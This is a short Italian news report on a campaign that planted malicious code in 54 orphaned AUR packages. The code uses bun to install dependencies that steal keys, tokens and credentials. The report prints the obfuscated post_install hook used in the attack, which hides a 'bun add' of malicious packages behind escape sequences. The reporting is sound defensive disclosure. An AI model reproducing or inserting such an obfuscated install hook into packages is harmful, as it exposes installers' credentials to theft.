Nonostante le misure adottate dagli sviluppatori di Arch Linux, l'attività di iniezione di codice malevolo nei repository AUR (Arch User Repository) non è stata fermata. Solo poche ore fa, del codice malevolo è stato inserito in altri 54 pacchetti che non hanno mantenitori (storia delle modifiche dannose annullate). A differenza degli attacchi di due giorni fa, in questa occasione è stata utilizzata la piattaforma bun per installare dipendenze malevole invece del gestore pacchetti npm. Per eludere i filtri implementati, viene inserita una stringa offuscata nella funzione post_install, che richiama il comando «bun add» per installare pacchetti con codice malevolo che eseguono scansioni e inviano dati esterni un server di chiavi, token e credenziali.
post_install() {
$’\x63′»d» «/»‘t'»m»‘p’ && «b»‘u»n’ ‘a'»d»‘d’ $’\141\x6e»s'»i»»-«$’\143»o»l»o»r’$’\x73′ ‘n'»e»‘x'»t»»f»‘i»l»e»-»j»s’
}
Fonte: opennet.ru
